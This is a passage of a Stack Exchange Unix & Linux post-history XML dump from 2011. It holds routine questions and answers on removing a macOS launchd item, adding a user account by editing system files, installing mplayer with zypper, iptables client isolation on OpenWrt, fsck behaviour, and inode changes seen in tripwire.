done)&#xD;&#xA;&#xD;&#xA;This gives exactly the expected result.  &#xD;&#xA;Note: whether I use `-n`, `-N`, or `-rN` does not change the result, it's all good (with text, I did not test the limitation that Chris talks about: 0x00 and 0xff)." />
  <row Id="20382" PostHistoryTypeId="2" PostId="8630" RevisionGUID="26fe9c4f-d49a-4821-9fc8-091567595bdb" CreationDate="2011-03-05T06:44:42.790" UserId="5341" Text="Hi Guys,&#xD;&#xA;&#xD;&#xA;Im not sure if this is the right place for this kind of question, but here it goes anyways...&#xD;&#xA;&#xD;&#xA;I installed a program a few months ago, it had a startup option that I did install. Later, I decided to remove the program, but it seems to have left the startup script or item even after I uninstalled it.... and its trying to start every few seconds.&#xD;&#xA;&#xD;&#xA;How can I remove this item?&#xD;&#xA;&#xD;&#xA;Here is it from the console&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;$ com.apple.launchd[1] (com.jft.PdaNetMac[24476]): Exited with exit code: 1&#xD;&#xA;$ com.apple.launchd[1] (com.jft.PdaNetMac): Throttling respawn: Will start in 10 second&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;" />
  <row Id="20383" PostHistoryTypeId="1" PostId="8630" RevisionGUID="26fe9c4f-d49a-4821-9fc8-091567595bdb" CreationDate="2011-03-05T06:44:42.790" UserId="5341" Text="removing startup item from com.apple.launchd" />
  <row Id="20384" PostHistoryTypeId="3" PostId="8630" RevisionGUID="26fe9c4f-d49a-4821-9fc8-091567595bdb" CreationDate="2011-03-05T06:44:42.790" UserId="5341" Text="éosxàéstartupà" />
  <row Id="20385" PostHistoryTypeId="2" PostId="8631" RevisionGUID="d8bb4994-c861-445f-b54f-4c2b52aaded6" CreationDate="2011-03-05T06:56:04.493" UserId="5325" Text="Oh dear, that one turns out to be evil.&#xD;&#xA;&#xD;&#xA;    $ sudo launchctl unload -w com.jft.PdaNetMac&#xD;&#xA;    $ sudo rm /System/Library/LaunchDaemons/com.jft.PdaNetMac.plist&#xD;&#xA;&#xD;&#xA;The evil part is they have no business putting it in `/System/Library/LaunchDaemons`, which is reserved for services provided with OSX; it *should* have been in `/Library/LaunchDaemons`." />
  <row Id="20386" PostHistoryTypeId="5" PostId="8631" RevisionGUID="217e0315-9157-4ff8-8371-4cc10a5225c2" CreationDate="2011-03-05T07:16:02.167" UserId="5325" Comment="corrected `launchctl` to use path instead of service name; dropped `-w` as pointless when we're immediately removing the plist anyway" Text="Oh dear, that one turns out to be evil.&#xD;&#xA;&#xD;&#xA;    $ sudo launchctl unload /System/Library/LaunchDaemons/com.jft.PdaNetMac.plist&#xD;&#xA;    $ sudo rm /System/Library/LaunchDaemons/com.jft.PdaNetMac.plist&#xD;&#xA;&#xD;&#xA;The evil part is they have no business putting it in `/System/Library/LaunchDaemons`, which is reserved for services provided with OSX; it *should* have been in `/Library/LaunchDaemons`." />
  <row Id="20387" PostHistoryTypeId="5" PostId="8628" RevisionGUID="2a25b24c-dde0-4a7d-947e-618c064ca716" CreationDate="2011-03-05T07:24:32.097" UserId="5325" Comment="added mention of not using shell unless it needs shell access, per comment" Text="Very roughly:&#xD;&#xA;&#xD;&#xA;    # cp /etc/passwd /etc/passwd.bak # just in case you e.g. forget one of the &gt;s&#xD;&#xA;    # echo 'ftpuser:x:1000:1000:ftp user:/home/ftpuser:/bin/sh' &gt;&gt;/etc/passwd&#xD;&#xA;    # cp /etc/shadow /etc/shadow.bak&#xD;&#xA;    # echo 'ftpuser:x:15020:0:99999:7:::' &gt;&gt;/etc/shadow&#xD;&#xA;    # cp /etc/group /etc/group.bak&#xD;&#xA;    # echo 'ftpuser:x:1000:' &gt;&gt;/etc/group&#xD;&#xA;    # cp /etc/gshadow /etc/gshadow.bak&#xD;&#xA;    # echo 'ftpuser:x:1000:' &gt;&gt;/etc/gshadow&#xD;&#xA;    # passwd ftpuser&#xD;&#xA;    # mkdir /home/ftpuser&#xD;&#xA;    # chown ftpuser:ftpuser /home/ftpuser&#xD;&#xA;&#xD;&#xA;You should of course make sure the username, user id, and group id are available.  Also, unless the account needs shell access for some reason, set the shell to something like `/bin/false` or `/sbin/nologin` (if the latter is available)." />
  <row Id="20388" PostHistoryTypeId="2" PostId="8632" RevisionGUID="0c484eca-409f-49f5-96b5-92f8f41de735" CreationDate="2011-03-05T07:32:23.580" UserId="4617" Text="From the [nautilus user guide][1]:&#xD;&#xA;&#xD;&#xA;&gt; If the server information is provided&#xD;&#xA;&gt; in the form of a URI, or you require a&#xD;&#xA;&gt; specialized connection, choose Custom&#xD;&#xA;&gt; Location as the service type.&#xD;&#xA;&#xD;&#xA;I have no idea what that actually entails. I tried smb and ftp servers and was told I must enter a name for the server. Maybe someone else knows more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://library.gnome.org/users/user-guide/stable/nautilus-server-connect.html.en" />
  <row Id="20389" PostHistoryTypeId="2" PostId="8633" RevisionGUID="7cb8a0ee-1966-4a46-b894-9b555dee5532" CreationDate="2011-03-05T08:22:39.640" UserId="5345" Text="i dont know if this is the right forum to ask,i have started to use linux os (opensuse). i need to install mplayer on it.i unpacked the mplayer archive.then in the command screen i navigated to the folder containing the unpacked folder of mplayer.then i used the following commands   &#xD;&#xA;./configure&#xD;&#xA;&#xD;&#xA;but after that when i entered the make command it is showing ...typo doesnt exist or so...i think only after make and make install i can install this program to my system...pls help" />
  <row Id="20390" PostHistoryTypeId="1" PostId="8633" RevisionGUID="7cb8a0ee-1966-4a46-b894-9b555dee5532" CreationDate="2011-03-05T08:22:39.640" UserId="5345" Text="make typ missing when installing mplayer in linux" />
  <row Id="20391" PostHistoryTypeId="3" PostId="8633" RevisionGUID="7cb8a0ee-1966-4a46-b894-9b555dee5532" CreationDate="2011-03-05T08:22:39.640" UserId="5345" Text="élinuxàéopensuseàésoftwareöinstallationà" />
  <row Id="20392" PostHistoryTypeId="25" PostId="8627" RevisionGUID="2cf31641-a5c6-4ae0-99fb-e2ae3c5a0476" CreationDate="2011-03-05T08:23:38.617" Comment="http://twitter.com/#!/StackUnix/status/43949779155300352" />
  <row Id="20393" PostHistoryTypeId="5" PostId="8523" RevisionGUID="0e25f3c8-def3-489b-ac81-81282d183302" CreationDate="2011-03-05T08:27:45.697" UserId="688" Comment="added 58 characters in body" Text="You can choose what Desktop you want during log-in. That is, instead of just entering your username and password, go to something named along the lines of *Choose desktop session* and select KDE. From there, proceed to entering your username and password, and you should find yourself inside of a KDE desktop." />
  <row Id="20394" PostHistoryTypeId="5" PostId="8602" RevisionGUID="e3b51cc9-6e29-472e-9e54-787b3d529d4a" CreationDate="2011-03-05T08:32:15.130" UserId="688" Comment="added 164 characters in body" Text="Ubuntu offers all of that:&#xD;&#xA;&#xD;&#xA;* It was designed from the on-set to be a newbie-friendly Debian; I've used both, and it certainly is easier, at least on the surface (i.e. the basic stuff).&#xD;&#xA;* It has some of the largest collection of software of all distros; this includes a whole bunch of development stuff (all major programming languages, a whole bunch web frameworks, and a lot of developer libraries and tools).&#xD;&#xA;* You can even change Desktop Environments if you please, or theme the default one.&#xD;&#xA;* A very large user base (it's the most popular distro for several months now), and therefore huge resources at your disposal. It even has a dedicated [Stack Exchange site][1].&#xD;&#xA;* [It officially supports][2] a number of CPU architectures, including yours.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/&#xD;&#xA;  [2]: https://help.ubuntu.com/8.04/installation-guide/i386/hardware-supported.html" />
  <row Id="20395" PostHistoryTypeId="2" PostId="8634" RevisionGUID="d9046e0e-8146-4041-8601-fac25a252e25" CreationDate="2011-03-05T08:35:03.420" UserId="5325" Text="You'd probably be better served by&#xD;&#xA;&#xD;&#xA;    $ sudo zypper install mplayer&#xD;&#xA;&#xD;&#xA;If you really want to compile from source, you'll need to install a compiler and toolchain.&#xD;&#xA;&#xD;&#xA;    $ sudo zypper install -t devel_C_C++&#xD;&#xA;&#xD;&#xA;You will also need to install various development library packages; which ones depend on the version of `mplayer` and what features you want to use.  In general, you're better off with the pre-built one; `mplayer` is an absolute beast to build." />
  <row Id="20396" PostHistoryTypeId="2" PostId="8635" RevisionGUID="2d638212-8ef4-401a-9295-0a1a5f2f8d2d" CreationDate="2011-03-05T08:59:25.107" UserId="4724" Text="I have an OpenWrt 10.03 router [ IP: 192.168.1.1 ], and it has a DHCP server pool: 192.168.1.0/24 - clients are using it through wireless/wired connection. Ok!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Here's the catch: I need to separate the users from each other.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;How i need to do it: by IPTABLES rule [ /etc/firewall.user ].&lt;br&gt; Ok!&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&quot;Loud thinking&quot;: So i need a rule something like this [on the OpenWrt router]: &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;- DROP where SOURCE: 192.168.1.2-192.168.1.255 and DESTINATION is 192.168.1.2-192.168.1.255&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The idea is this. Ok!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Questions! &lt;br&gt;&#xD;&#xA;- Will i lock out myself if i apply this firewall rule?&lt;br&gt;&#xD;&#xA;- Is this a secure method? [ is it easy to do this?: hello, i'm a client, and i say, my IP address is 192.168.1.1! - now it can sniff the unencrypted traffic! :( - because all the clients are in the same subnet! ]&lt;br&gt;&#xD;&#xA;- Are there any good methods to find/audit for duplicated IP addresses?&lt;br&gt;&#xD;&#xA;- Are the any good methods to find/audit for duplicated MAC addresses?&lt;br&gt;&#xD;&#xA;- Are there any good methods to do this IPTALBES rule on Layer2?:&lt;br&gt;&#xD;&#xA;`$ wget -q &quot;http://downloads.openwrt.org/backfire/10.03/ar71xx/packages/&quot; -O - | grep -i ebtables`&#xD;&#xA;`$ `&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;p.s.: The rule would be [is it on a good chain?]: &#xD;&#xA;iptables -A FORWARD  -m iprange --src-range 192.168.1.2-192.168.1.255 --dst-range 192.168.1.2-192.168.1.255 -j DROP&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="20397" PostHistoryTypeId="1" PostId="8635" RevisionGUID="2d638212-8ef4-401a-9295-0a1a5f2f8d2d" CreationDate="2011-03-05T08:59:25.107" UserId="4724" Text="IPTABLES rule for separating users" />
  <row Id="20398" PostHistoryTypeId="3" PostId="8635" RevisionGUID="2d638212-8ef4-401a-9295-0a1a5f2f8d2d" CreationDate="2011-03-05T08:59:25.107" UserId="4724" Text="élinuxàésecurityàéfirewallàéopenwrtà" />
  <row Id="20399" PostHistoryTypeId="5" PostId="8633" RevisionGUID="b2ce24b2-39cc-433d-a302-3a3f179f56ef" CreationDate="2011-03-05T09:22:08.460" UserId="250" Comment="Change title, fix formatting" Text="i dont know if this is the right forum to ask,i have started to use linux os (opensuse). i need to install mplayer on it.i unpacked the mplayer archive.then in the command screen i navigated to the folder containing the unpacked folder of mplayer.then i used the following commands&#xD;&#xA;&#xD;&#xA;    ./configure&#xD;&#xA;&#xD;&#xA;but after that when i entered the make command it is showing ...typo doesnt exist or so...i think only after make and make install i can install this program to my system...pls help" />
  <row Id="20400" PostHistoryTypeId="4" PostId="8633" RevisionGUID="b2ce24b2-39cc-433d-a302-3a3f179f56ef" CreationDate="2011-03-05T09:22:08.460" UserId="250" Comment="Change title, fix formatting" Text="Installing mplayer in linux" />
  <row Id="20401" PostHistoryTypeId="2" PostId="8636" RevisionGUID="87fd7fb8-a7f1-424e-9b65-d03db119634e" CreationDate="2011-03-05T09:54:31.037" UserId="250" Text="I was about to say the same thing as @geekosaur, but noticed in the comments that you don't have internet connection on that PC. In general, on Linux software is divided into packages (`mplayer`, `sudo`, `zypper` are examples of packages). Packages are stored in [repositories][1] and have dependencies on other packages. To save you the task of managing them, there are package managers, such as `zypper`.&#xD;&#xA;&#xD;&#xA;You don't normally install software from source, but use the package manager that comes with your system. Now the big problem is that you don't have internet connection on the computer that you want to install software on. If possible, it's a lot easier to plug the cable in and let `zypper` download what it needs. If that's not possible, most package managers have the ability to install from a local repository.&#xD;&#xA;&#xD;&#xA;I'm not a SUSE user, but from the [documentation][2] you can download the required .rpm files to make a local repository, then tell `zypper` about it:&#xD;&#xA;&#xD;&#xA;    # zypper ar my/dir/with/rpms local&#xD;&#xA;&#xD;&#xA;After that you can install `mplayer` without internet connection:&#xD;&#xA;&#xD;&#xA;    # zypper install mplayer&#xD;&#xA;&#xD;&#xA;If `zypper` then tells you that it needs to install other packages as dependencies (and it will fail because there is no internet connection), you will have to look for the RPM files it need, download and put them in `my/dir/with/rpms` (BTW that's a fake path, change it to whatever path you store the files).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.opensuse.org/Package_repositories&#xD;&#xA;  [2]: http://en.opensuse.org/SDB:Zypper_usage#Adding_repositories" />
  <row Id="20402" PostHistoryTypeId="2" PostId="8637" RevisionGUID="715cd2e9-d076-469a-bcca-d7f04820e1bc" CreationDate="2011-03-05T09:57:15.793" UserId="4477" Text="If you want to separate wireless and wired users why not match the interfaces?&#xD;&#xA;Assuming ppp0 is facing the internet, eth0 is your local LAN and wlan0 is the wireless:&#xD;&#xA;&#xD;&#xA;    iptables -P FORWARD DROP                        # Drop everything except:&#xD;&#xA;    iptables -m state --state RELATED,ESTABLISHED   # Accept already accepted connections&#xD;&#xA;    iptables -A FORWARD -i eth0 -o ppp0 -j ACCEPT   # Accept outgoing connections from local LAN&#xD;&#xA;    iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT  # Accept outgonig connnections from wlan&#xD;&#xA;&#xD;&#xA;If you use this:&#xD;&#xA;* nothing can be connected from the internet&#xD;&#xA;* wireless users can only connect to the internet&#xD;&#xA;* wired users can only connect to the internet&#xD;&#xA;* you can enforce separate IP ranges if you add the `--src-range`&#xD;&#xA;&#xD;&#xA;If your DHCP server is running on the OpenWrt device then the FORWARD chain will not affect that in any way. To allow the DHCP server use&#xD;&#xA;&#xD;&#xA;    iptables -P INPUT DROP                                   # Drop everything except:&#xD;&#xA;    iptables -m state --state RELATED,ESTABLISHED            # Accept already accepted connections&#xD;&#xA;    iptables -A INPUT ! -i ppp0 -p tcp --dport 22 -j ACCEPT  # Don't forget SSH&#xD;&#xA;    iptables -A INPUT ! -i ppp0 -p udp --sport 68 --dport 67 # Accept DHCP requests from any local network&#xD;&#xA;&#xD;&#xA;I generally allow everything in OUTPUT except a few types of ICMP and spam. But you might prefer the safer default DROP so here is the specific rule:&#xD;&#xA;&#xD;&#xA;    iptables -P OUTPUT DROP                                             # Drop everything except:&#xD;&#xA;    iptables -A OUTPUT ! -o ppp0 -p udp --sport 67 --dport 68 -j ACCEPT # Allow DHCP to the local network&#xD;&#xA;&#xD;&#xA;It makes more sense on a router which is not supposed to connect to everything.&#xD;&#xA;&#xD;&#xA;I would advise against MAC filtering in my experience it adds no security only inconvinience. But if you want to see:&#xD;&#xA;&#xD;&#xA;    iptables -m match --help&#xD;&#xA;&#xD;&#xA;Logging MAC addresses could be useful but they are easily forged. Just add `-j LOG` or `-j NFLOG` before the ACCEPT rule with the same matching rules." />
  <row Id="20403" PostHistoryTypeId="5" PostId="8637" RevisionGUID="a848c7d5-1e36-409b-be7e-5d5e34ae4d42" CreationDate="2011-03-05T10:02:30.877" UserId="4477" Comment="fixed list" Text="If you want to separate wireless and wired users why not match the interfaces?&#xD;&#xA;Assuming ppp0 is facing the internet, eth0 is your local LAN and wlan0 is the wireless:&#xD;&#xA;&#xD;&#xA;    iptables -P FORWARD DROP                        # Drop everything except:&#xD;&#xA;    iptables -m state --state RELATED,ESTABLISHED   # Accept already accepted connections&#xD;&#xA;    iptables -A FORWARD -i eth0 -o ppp0 -j ACCEPT   # Accept outgoing connections from local LAN&#xD;&#xA;    iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT  # Accept outgonig connnections from wlan&#xD;&#xA;&#xD;&#xA;If you use this:&#xD;&#xA;&#xD;&#xA;* nothing can be connected from the internet&#xD;&#xA;* wireless users can only connect to the internet&#xD;&#xA;* wired users can only connect to the internet&#xD;&#xA;* you can enforce separate IP ranges if you add the `--src-range`&#xD;&#xA;&#xD;&#xA;If your DHCP server is running on the OpenWrt device then the FORWARD chain will not affect that in any way. To allow the DHCP server use&#xD;&#xA;&#xD;&#xA;    iptables -P INPUT DROP                                   # Drop everything except:&#xD;&#xA;    iptables -m state --state RELATED,ESTABLISHED            # Accept already accepted connections&#xD;&#xA;    iptables -A INPUT ! -i ppp0 -p tcp --dport 22 -j ACCEPT  # Don't forget SSH&#xD;&#xA;    iptables -A INPUT ! -i ppp0 -p udp --sport 68 --dport 67 # Accept DHCP requests from any local network&#xD;&#xA;&#xD;&#xA;I generally allow everything in OUTPUT except a few types of ICMP and spam. But you might prefer the safer default DROP so here is the specific rule:&#xD;&#xA;&#xD;&#xA;    iptables -P OUTPUT DROP                                             # Drop everything except:&#xD;&#xA;    iptables -A OUTPUT ! -o ppp0 -p udp --sport 67 --dport 68 -j ACCEPT # Allow DHCP to the local network&#xD;&#xA;&#xD;&#xA;It makes more sense on a router which is not supposed to connect to everything.&#xD;&#xA;&#xD;&#xA;I would advise against MAC filtering in my experience it adds no security only inconvinience. But if you want to see:&#xD;&#xA;&#xD;&#xA;    iptables -m match --help&#xD;&#xA;&#xD;&#xA;Logging MAC addresses could be useful but they are easily forged. Just add `-j LOG` or `-j NFLOG` before the ACCEPT rule with the same matching rules.&#xD;&#xA;&#xD;&#xA;Since you are configuring a computer which is only accessible from the network you should be very careful not to lock yourself out. You can't just walk to it and delete the rules manually. In particular typing `iptables -P INPUT DROP` with an empty INPUT chain will kill your SSH session. I recommend using the `iptables-save` and `iptables-restore` and writing the rules in a config file. It also helps if you can test the rules on a computer with a keyboard and monitor before trying it on the router." />
  <row Id="20404" PostHistoryTypeId="5" PostId="8637" RevisionGUID="7ba9928a-e290-418e-9542-d62524df2308" CreationDate="2011-03-05T10:10:26.920" UserId="4477" Comment="match -&gt; mac" Text="If you want to separate wireless and wired users why not match the interfaces?&#xD;&#xA;Assuming ppp0 is facing the internet, eth0 is your local LAN and wlan0 is the wireless:&#xD;&#xA;&#xD;&#xA;    iptables -P FORWARD DROP                        # Drop everything except:&#xD;&#xA;    iptables -m state --state RELATED,ESTABLISHED   # Accept already accepted connections&#xD;&#xA;    iptables -A FORWARD -i eth0 -o ppp0 -j ACCEPT   # Accept outgoing connections from local LAN&#xD;&#xA;    iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT  # Accept outgonig connnections from wlan&#xD;&#xA;&#xD;&#xA;If you use this:&#xD;&#xA;&#xD;&#xA;* nothing can be connected from the internet&#xD;&#xA;* wireless users can only connect to the internet&#xD;&#xA;* wired users can only connect to the internet&#xD;&#xA;* you can enforce separate IP ranges if you add the `--src-range`&#xD;&#xA;&#xD;&#xA;If your DHCP server is running on the OpenWrt device then the FORWARD chain will not affect that in any way. To allow the DHCP server use&#xD;&#xA;&#xD;&#xA;    iptables -P INPUT DROP                                   # Drop everything except:&#xD;&#xA;    iptables -m state --state RELATED,ESTABLISHED            # Accept already accepted connections&#xD;&#xA;    iptables -A INPUT ! -i ppp0 -p tcp --dport 22 -j ACCEPT  # Don't forget SSH&#xD;&#xA;    iptables -A INPUT ! -i ppp0 -p udp --sport 68 --dport 67 # Accept DHCP requests from any local network&#xD;&#xA;&#xD;&#xA;I generally allow everything in OUTPUT except a few types of ICMP and spam. But you might prefer the safer default DROP so here is the specific rule:&#xD;&#xA;&#xD;&#xA;    iptables -P OUTPUT DROP                                             # Drop everything except:&#xD;&#xA;    iptables -A OUTPUT ! -o ppp0 -p udp --sport 67 --dport 68 -j ACCEPT # Allow DHCP to the local network&#xD;&#xA;&#xD;&#xA;It makes more sense on a router which is not supposed to connect to everything.&#xD;&#xA;&#xD;&#xA;I would advise against MAC filtering in my experience it adds no security only inconvinience. But if you want to see:&#xD;&#xA;&#xD;&#xA;    iptables -m mac --help&#xD;&#xA;&#xD;&#xA;Logging MAC addresses could be useful but they are easily forged. Just add `-j LOG` or `-j NFLOG` before the ACCEPT rule with the same matching rules.&#xD;&#xA;&#xD;&#xA;Since you are configuring a computer which is only accessible from the network you should be very careful not to lock yourself out. You can't just walk to it and delete the rules manually. In particular typing `iptables -P INPUT DROP` with an empty INPUT chain will kill your SSH session. I recommend using the `iptables-save` and `iptables-restore` and writing the rules in a config file. It also helps if you can test the rules on a computer with a keyboard and monitor before trying it on the router." />
  <row Id="20405" PostHistoryTypeId="2" PostId="8638" RevisionGUID="2c67bf9b-6e03-45f2-a88e-691a62977ac5" CreationDate="2011-03-05T10:15:13.640" UserId="4858" Text="How to make sure that fsck is correcting corruptions while keeping the integrity of file system?? &#xD;&#xA;suppose clients are writing lots of files through nfs to server, and there happens something that caused corruption(dirty shutdown/other kernel panic) .. so the current state of FS is not known (write complete...partial write etc)  then If we run fsck --it corrects corruptions/invalid block and FS is now _suppose_ to be up to date. How do I make sure my FS is upto date?? .. [In common I would use diff/dt to check again with source from which files were being written] but in this case lets say source also not present after writing files. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="20406" PostHistoryTypeId="1" PostId="8638" RevisionGUID="2c67bf9b-6e03-45f2-a88e-691a62977ac5" CreationDate="2011-03-05T10:15:13.640" UserId="4858" Text="How to test File system correction by fsck." />
  <row Id="20407" PostHistoryTypeId="3" PostId="8638" RevisionGUID="2c67bf9b-6e03-45f2-a88e-691a62977ac5" CreationDate="2011-03-05T10:15:13.640" UserId="4858" Text="élinuxàéfilesystemsàéfsckà" />
  <row Id="20408" PostHistoryTypeId="25" PostId="8633" RevisionGUID="1e92c590-6e58-47a8-8c65-f1a06881a678" CreationDate="2011-03-05T11:23:38.520" Comment="http://twitter.com/#!/StackUnix/status/43995076803837952" />
  <row Id="20409" PostHistoryTypeId="2" PostId="8639" RevisionGUID="35d581c5-0cce-4637-8cda-ddab39ccb4a3" CreationDate="2011-03-05T11:29:24.063" UserId="5354" Text="-N&#xD;&#xA;Don't execute, just show what would be done.&#xD;&#xA;" />
  <row Id="20410" PostHistoryTypeId="2" PostId="8640" RevisionGUID="5f154f6b-40a0-474b-8502-b6e4d83618bc" CreationDate="2011-03-05T11:38:21.883" UserId="5356" Text="Hi I am investigating tripwire and have stumbled upon something which i am unsure about. in a tripwire report generated after i modified hosts.deny to include an extra # I noticed the inode number changed from 6969 to 6915. I would like to know why this happened. I know inodes are records which store data about where data is stored on the file system, but would like to know why this number changed for a simple # being inserted." />
  <row Id="20411" PostHistoryTypeId="1" PostId="8640" RevisionGUID="5f154f6b-40a0-474b-8502-b6e4d83618bc" CreationDate="2011-03-05T11:38:21.883" UserId="5356" Text="tripwire report - inode number" />
  <row Id="20412" PostHistoryTypeId="3" PostId="8640" RevisionGUID="5f154f6b-40a0-474b-8502-b6e4d83618bc" CreationDate="2011-03-05T11:38:21.883" UserId="5356" Text="éfedoraàésecurityàéinodeà" />
  <row Id="20413" PostHistoryTypeId="2" PostId="8641" RevisionGUID="9d126e1d-0867-4b71-870d-e0390cd032ac" CreationDate="2011-03-05T11:44:44.140" UserId="5325" Text="Standard behavior for text editors is to rename the original file to a temporary name before writing out changes, so if there is a problem (such as out of disk space) you don't lose the file entirely.  Thus the file gets a new inode number.  If the editor is configured to leave the original as a backup file, you'll find the backup file has the original inode number; if not, then the backup will have been deleted after the new file was successfully written." />
  <row Id="20414" PostHistoryTypeId="2" PostId="8642" RevisionGUID="93fb1eb3-ff74-49ad-9845-cfdbcb325669" CreationDate="2011-03-05T11:49:26.503" UserId="4724" Text="&quot;Server&quot;: 192.168.1.1&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I want to &quot;theoretically&quot; disable that the clients can &quot;ping&quot; each other.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Can i use an iptables rule for it?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;e.g.:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;iptables -A FORWARD -m iprange --src-range 192.168.1.2-192.168.1.255 --dst-range 192.168.1.2-192.168.1.255 -j DROP &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Is it true that i cannot filter traffic between the clients?? [or at least redirect these packages to e.g.: the router?]&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;If i run tcpdump on the router [&quot;server&quot;] i can see that a client [192.168.1.201] is pinging another [192.168.1.162]&lt;br&gt;&#xD;&#xA;`# tcpdump`&lt;br&gt;&#xD;&#xA;`tcpdump: WARNING: eth0: no IPv4 address assigned`&lt;br&gt;&#xD;&#xA;`tcpdump: verbose output suppressed, use -v or -vv for full protocol decode`&lt;br&gt;&#xD;&#xA;`listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes`&lt;br&gt;&#xD;&#xA;`12:22:26.931343 IP 192.168.1.201 &gt; 192.168.1.162: ICMP echo request, id 12547, seq 141, length 64`&lt;br&gt;&#xD;&#xA;`12:22:27.819373 IP 192.168.1.201 &gt; 192.168.1.162: ICMP echo request, id 12547, seq 142, length 64`&lt;br&gt;&#xD;&#xA;`12:22:28.819640 IP 192.168.1.201 &gt; 192.168.1.162: ICMP echo request, id 12547, seq 143, length 64`&lt;br&gt;" />
  <row Id="20415" PostHistoryTypeId="1" PostId="8642" RevisionGUID="93fb1eb3-ff74-49ad-9845-cfdbcb325669" CreationDate="2011-03-05T11:49:26.503" UserId="4724" Text="Where to handle packages between clients?" />
  <row Id="20416" PostHistoryTypeId="3" PostId="8642" RevisionGUID="93fb1eb3-ff74-49ad-9845-cfdbcb325669" CreationDate="2011-03-05T11:49:26.503" UserId="4724" Text="élinuxàésecurityàéiptablesàéfirewallà" />
  <row Id="20417" PostHistoryTypeId="5" PostId="8642" RevisionGUID="3210f70e-e0c5-41ae-9d2e-0bf70afd6f83" CreationDate="2011-03-05T12:24:05.363" UserId="885" Comment="formatting; edited title" Text="&quot;Server&quot;: 192.168.1.1&#xD;&#xA;&#xD;&#xA;I want to &quot;theoretically&quot; disable that the clients can &quot;ping&quot; each other.&#xD;&#xA;&#xD;&#xA;Can i use an iptables rule for it? e.g.:&#xD;&#xA;&#xD;&#xA;    iptables -A FORWARD -m iprange --src-range 192.168.1.2-192.168.1.255 --dst-range 192.168.1.2-192.168.1.255 -j DROP&#xD;&#xA;&#xD;&#xA;Is it true that i cannot filter traffic between the clients?? [or at least redirect these packets to e.g.: the router?]&#xD;&#xA;&#xD;&#xA;If i run tcpdump on the router [&quot;server&quot;] i can see that a client [192.168.1.201] is pinging another [192.168.1.162]&#xD;&#xA;&#xD;&#xA;    # tcpdump&#xD;&#xA;    tcpdump: WARNING: eth0: no IPv4 address assigned&#xD;&#xA;    tcpdump: verbose output suppressed, use -v or -vv for full protocol decode&#xD;&#xA;    listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes&#xD;&#xA;    12:22:26.931343 IP 192.168.1.201 &gt; 192.168.1.162: ICMP echo request, id 12547, seq 141, length 64&#xD;&#xA;    12:22:27.819373 IP 192.168.1.201 &gt; 192.168.1.162: ICMP echo request, id 12547, seq 142, length 64&#xD;&#xA;    12:22:28.819640 IP 192.168.1.201 &gt; 192.168.1.162: ICMP echo request, id 12547, seq 143, length 64" />
  <row Id="20418" PostHistoryTypeId="4" PostId="8642" RevisionGUID="3210f70e-e0c5-41ae-9d2e-0bf70afd6f83" CreationDate="2011-03-05T12:24:05.363" UserId="885" Comment="formatting; edited title" Text="Where to handle packets between clients?" />
  <row Id="20419" PostHistoryTypeId="2" PostId="8643" RevisionGUID="037f6331-ecd8-415f-845a-643332576002" CreationDate="2011-03-05T12:55:27.910" UserId="885" Text="Fsck returns your filesystem to a *consistent* state. This is not necessarily the filesystem's “latest” state, because that state might have been lost in the crash. In fact, if there were half-written files at the time of the crash, then the filesystem was not left in a consistent state, and that is precisely what fsck is designed to repair. In other words, after running fsck, your filesystem is as up-to-date as it can get.&#xD;&#xA;&#xD;&#xA;If your application requires feedback as to what is stored on the disk in case of a crash, you'll need to do more work than just writing to a file. You need to call [`sync`](http://en.wikipedia.org/wiki/Sync_%28Unix%29), or better [`fsync`](http://pubs.opengroup.org/onlinepubs/009695399/functions/fsync.html), after a write operation to ensure that that particular write has been committed to the disk (but if you end up doing this a lot, your performance will drop down, and you'll want to switch to a database engine). You'll need a journaled filesystem configured for maximum crash survival (as opposed to maximum speed).&#xD;&#xA;&#xD;&#xA;The property that an operation (such as a disk write) that has been performed cannot be undone (even in the event of a system crash) is called [durability](http://en.wikipedia.org/wiki/Durability_%28database_systems%29). It's one of the [four fundamental properties of databases (ACID)](http://en.wikipedia.org/wiki/ACID). If you need that property, read up on [transactions](http://en.wikipedia.org/wiki/Database_transaction).&#xD;&#xA;&#xD;&#xA;Although filesystems are a kind of database, they're usually not designed to do well with respect to ACID properties: they have more emphasis on flexibility. You'll get better durability from a dedicated database engine. Then consider what happens in case your disk, and not your system crashes: for high durability, you also need replication.&#xD;&#xA;" />
